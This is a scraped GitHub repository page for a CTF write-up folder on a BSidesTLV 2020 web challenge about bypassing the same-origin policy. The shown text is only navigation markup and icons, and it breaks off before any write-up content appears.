4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="276119642" data-scoped-search-url="/trott4425/CTF-Writeups/search" data-owner-scoped-search-url="/users/trott4425/search" data-unscoped-search-url="/search" data-turbo="false" action="/trott4425/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="kH8TYBpQOXThrdXzyWZqB/cmiyu+22atx4702GE+bjFg25fYM973DZusTLshJJhYFPer2uLyLFjqBFtp0BKO7A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> trott4425 </span> <span>/</span> CTF-Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>0</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/trott4425/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":276119642,"originating_url":"https://github.com/trott4425/CTF-Writeups/tree/master/BSidesTLV-2020/web/Can%20You%20Bypass%20The%20SOP%202","user_id":null}}" data-hydro-click-hmac="ef23180492e45503ef2da7d8df82dbd12c24f945a51e831b46a952ddab15b8c8"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput 